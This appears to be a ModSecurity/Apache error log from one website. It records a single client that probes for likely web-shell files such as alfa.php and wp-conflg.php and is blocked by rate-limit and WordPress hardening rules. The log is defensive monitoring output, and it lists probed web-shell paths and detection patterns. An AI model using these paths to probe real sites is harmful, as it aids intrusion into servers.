[Sun Mar 01 00:22:43.638163 2026] [:error] [pid 31190:tid 31210] [client 4.241.228.159:2325] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaMWUxfvwGOholYpM1E6SgAAAMQ"]
[Sun Mar 01 00:22:43.895139 2026] [:error] [pid 53600:tid 53609] [client 4.241.228.159:2366] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaMWUw2UMRAYWtDB23SaxQAAAQY"]
[Sun Mar 01 00:22:44.179943 2026] [:error] [pid 31190:tid 31228] [client 4.241.228.159:2311] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaMWVBfvwGOholYpM1E6UAAAANY"]
[Sun Mar 01 00:22:44.424267 2026] [:error] [pid 31190:tid 31222] [client 4.241.228.159:2542] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaMWVBfvwGOholYpM1E6UwAAANA"]
[Sun Mar 01 00:22:44.662356 2026] [:error] [pid 30795:tid 30809] [client 4.241.228.159:2452] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaMWVGuI44IL94Zgti-iyAAAAAE"]
[Sun Mar 01 00:22:44.909115 2026] [:error] [pid 31190:tid 31216] [client 4.241.228.159:2333] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaMWVBfvwGOholYpM1E6WQAAAMo"]
[Sun Mar 01 00:22:45.179202 2026] [:error] [pid 30797:tid 30873] [client 4.241.228.159:2332] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaMWVfQmcmSQL-3rvLD3mQAAAEI"]
[Sun Mar 01 00:22:45.496280 2026] [:error] [pid 30797:tid 30880] [client 4.241.228.159:2540] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaMWVfQmcmSQL-3rvLD3mwAAAEk"]
[Sun Mar 01 00:22:45.781120 2026] [:error] [pid 31190:tid 31228] [client 4.241.228.159:2445] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaMWVRfvwGOholYpM1E6XwAAANY"]
[Sun Mar 01 00:22:46.089448 2026] [:error] [pid 31190:tid 31208] [client 4.241.228.159:2453] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaMWVhfvwGOholYpM1E6YQAAAMI"]
[Sun Mar 01 00:22:46.434085 2026] [:error] [pid 30795:tid 30817] [client 4.241.228.159:2486] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaMWVmuI44IL94Zgti-i0AAAAAk"]
[Sun Mar 01 00:22:46.663038 2026] [:error] [pid 30798:tid 30912] [client 4.241.228.159:2432] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaMWVsBkD73gO8wTonY4iwAAAI0"]
[Sun Mar 01 00:22:46.914879 2026] [:error] [pid 30798:tid 30902] [client 4.241.228.159:2296] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaMWVsBkD73gO8wTonY4jAAAAIM"]
[Sun Mar 01 00:22:47.194073 2026] [:error] [pid 30795:tid 30807] [client 4.241.228.159:2482] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaMWV2uI44IL94Zgti-i0gAAAAA"]
[Sun Mar 01 00:22:47.421495 2026] [:error] [pid 30795:tid 30829] [client 4.241.228.159:2465] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaMWV2uI44IL94Zgti-i1gAAABU"]
[Sun Mar 01 00:22:47.724809 2026] [:error] [pid 53600:tid 53613] [client 4.241.228.159:2351] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaMWVw2UMRAYWtDB23Sa0wAAAQo"]
[Sun Mar 01 00:22:47.977597 2026] [:error] [pid 30795:tid 30815] [client 4.241.228.159:2523] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaMWV2uI44IL94Zgti-i2wAAAAc"]
[Sun Mar 01 00:22:48.263412 2026] [:error] [pid 31190:tid 31211] [client 4.241.228.159:2479] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaMWWBfvwGOholYpM1E6aAAAAMU"]
[Sun Mar 01 00:22:48.531799 2026] [:error] [pid 30795:tid 30824] [client 4.241.228.159:2468] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaMWWGuI44IL94Zgti-i4AAAABA"]
[Sun Mar 01 00:22:48.789275 2026] [:error] [pid 30795:tid 30812] [client 4.241.228.159:2480] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaMWWGuI44IL94Zgti-i4wAAAAQ"]
[Sun Mar 01 00:22:49.020086 2026] [:error] [pid 31190:tid 31227] [client 4.241.228.159:2533] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaMWWRfvwGOholYpM1E6agAAANU"]
[Sun Mar 01 00:22:49.286603 2026] [:error] [pid 53600:tid 53624] [client 4.241.228.159:2475] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaMWWQ2UMRAYWtDB23Sa2AAAARU"]
[Sun Mar 01 00:22:49.511714 2026] [:error] [pid 53600:tid 53622] [client 4.241.228.159:2275] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaMWWQ2UMRAYWtDB23Sa2gAAARM"]
[Sun Mar 01 00:22:49.747603 2026] [:error] [pid 31190:tid 31217] [client 4.241.228.159:2279] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaMWWRfvwGOholYpM1E6bgAAAMs"]
[Sun Mar 01 00:22:49.972063 2026] [:error] [pid 31190:tid 31210] [client 4.241.228.159:2517] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaMWWRfvwGOholYpM1E6bwAAAMQ"]
[Sun Mar 01 00:22:50.230916 2026] [:error] [pid 31190:tid 31225] [client 4.241.228.159:2449] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaMWWhfvwGOholYpM1E6cgAAANM"]
[Sun Mar 01 00:22:50.473784 2026] [:error] [pid 31190:tid 31223] [client 4.241.228.159:2539] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaMWWhfvwGOholYpM1E6cwAAANE"]
[Sun Mar 01 00:22:50.847541 2026] [:error] [pid 31190:tid 31211] [client 4.241.228.159:2444] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaMWWhfvwGOholYpM1E6dQAAAMU"]
[Sun Mar 01 00:22:51.096468 2026] [:error] [pid 53600:tid 53606] [client 4.241.228.159:2488] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaMWWw2UMRAYWtDB23Sa5QAAAQM"]
[Sun Mar 01 00:22:51.364468 2026] [:error] [pid 31190:tid 31218] [client 4.241.228.159:2257] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaMWWxfvwGOholYpM1E6dwAAAMw"]
[Sun Mar 01 00:22:51.719118 2026] [:error] [pid 53600:tid 53622] [client 4.241.228.159:2437] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaMWWw2UMRAYWtDB23Sa6gAAARM"]
[Sun Mar 01 00:22:52.190675 2026] [:error] [pid 53600:tid 53613] [client 4.241.228.159:2546] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaMWXA2UMRAYWtDB23Sa7gAAAQo"]
[Sun Mar 01 00:22:52.825572 2026] [:error] [pid 53600:tid 53604] [client 4.241.228.159:2443] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaMWXA2UMRAYWtDB23Sa9gAAAQE"]
[Sun Mar 01 00:22:53.369185 2026] [:error] [pid 31190:tid 31213] [client 4.241.228.159:2188] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaMWXRfvwGOholYpM1E6fwAAAMc"]
[Sun Mar 01 00:22:54.121771 2026] [:error] [pid 53600:tid 53627] [client 4.241.228.159:2365] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaMWXg2UMRAYWtDB23SbAQAAARg"]
[Sun Mar 01 00:22:54.601170 2026] [:error] [pid 53600:tid 53604] [client 4.241.228.159:2522] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaMWXg2UMRAYWtDB23SbBAAAAQE"]
[Sun Mar 01 00:22:54.896192 2026] [:error] [pid 30797:tid 30893] [client 4.241.228.159:2193] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaMWXvQmcmSQL-3rvLD3swAAAFY"]
[Sun Mar 01 00:22:55.312335 2026] [:error] [pid 53600:tid 53612] [client 4.241.228.159:2352] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaMWXw2UMRAYWtDB23SbBQAAAQk"]
[Sun Mar 01 00:22:55.891928 2026] [:error] [pid 30795:tid 30809] [client 4.241.228.159:2459] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaMWX2uI44IL94Zgti-jDAAAAAE"]
[Sun Mar 01 00:22:56.175132 2026] [:error] [pid 53600:tid 53615] [client 4.241.228.159:2455] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aaMWYA2UMRAYWtDB23SbEAAAAQw"]
[Sun Mar 01 00:22:56.596820 2026] [:error] [pid 31190:tid 31219] [client 4.241.228.159:2499] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaMWYBfvwGOholYpM1E6kQAAAM0"]
[Sun Mar 01 00:22:57.052967 2026] [:error] [pid 53600:tid 53624] [client 4.241.228.159:2260] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaMWYQ2UMRAYWtDB23SbFAAAARU"]
[Sun Mar 01 00:22:57.332756 2026] [:error] [pid 31190:tid 31227] [client 4.241.228.159:2262] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaMWYRfvwGOholYpM1E6lAAAANU"]
[Sun Mar 01 00:22:58.128082 2026] [:error] [pid 53600:tid 53608] [client 4.241.228.159:2362] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaMWYg2UMRAYWtDB23SbHwAAAQU"]
[Sun Mar 01 00:22:58.480550 2026] [:error] [pid 53600:tid 53624] [client 4.241.228.159:2441] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aaMWYg2UMRAYWtDB23SbIgAAARU"]
[Sun Mar 01 00:22:58.783892 2026] [:error] [pid 30795:tid 30815] [client 4.241.228.159:2547] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aaMWYmuI44IL94Zgti-jIQAAAAc"]
[Sun Mar 01 00:22:59.110504 2026] [:error] [pid 53600:tid 53611] [client 4.241.228.159:2258] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aaMWYw2UMRAYWtDB23SbJwAAAQg"]
[Sun Mar 01 00:22:59.448308 2026] [:error] [pid 31190:tid 31215] [client 4.241.228.159:2536] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aaMWYxfvwGOholYpM1E6nQAAAMk"]
[Sun Mar 01 00:22:59.705194 2026] [:error] [pid 53600:tid 53620] [client 4.241.228.159:2538] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaMWYw2UMRAYWtDB23SbLQAAARE"]
[Sun Mar 01 00:23:00.004273 2026] [:error] [pid 31190:tid 31222] [client 4.241.228.159:2552] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaMWZBfvwGOholYpM1E6nwAAANA"]
[Sun Mar 01 00:23:00.316526 2026] [:error] [pid 53600:tid 53603] [client 4.241.228.159:2493] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaMWZA2UMRAYWtDB23SbMAAAAQA"]
[Sun Mar 01 00:23:00.569079 2026] [:error] [pid 31190:tid 31218] [client 4.241.228.159:2196] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaMWZBfvwGOholYpM1E6pAAAAMw"]
[Sun Mar 01 00:23:00.817600 2026] [:error] [pid 30797:tid 30883] [client 4.241.228.159:2509] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aaMWZPQmcmSQL-3rvLD3twAAAEw"]
[Sun Mar 01 00:23:19.284870 2026] [:error] [pid 30795:tid 30813] [client 4.241.228.159:2316] [client 4.241.228.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.241.228.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaMWd2uI44IL94Zgti-jZAAAAAU"]
[Sun Mar 01 00:23:24.212739 2026] [:error] [pid 30795:tid 30821] [client 4.241.228.159:2316] [client 4.241.228.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.241.228.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaMWfGuI44IL94Zgti-jbQAAAA0"]
[Sun Mar 01 00:23:27.393281 2026] [:error] [pid 53600:tid 53616] [client 4.241.228.159:2528] [client 4.241.228.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaMWfw2UMRAYWtDB23Sb2QAAAQ0"]
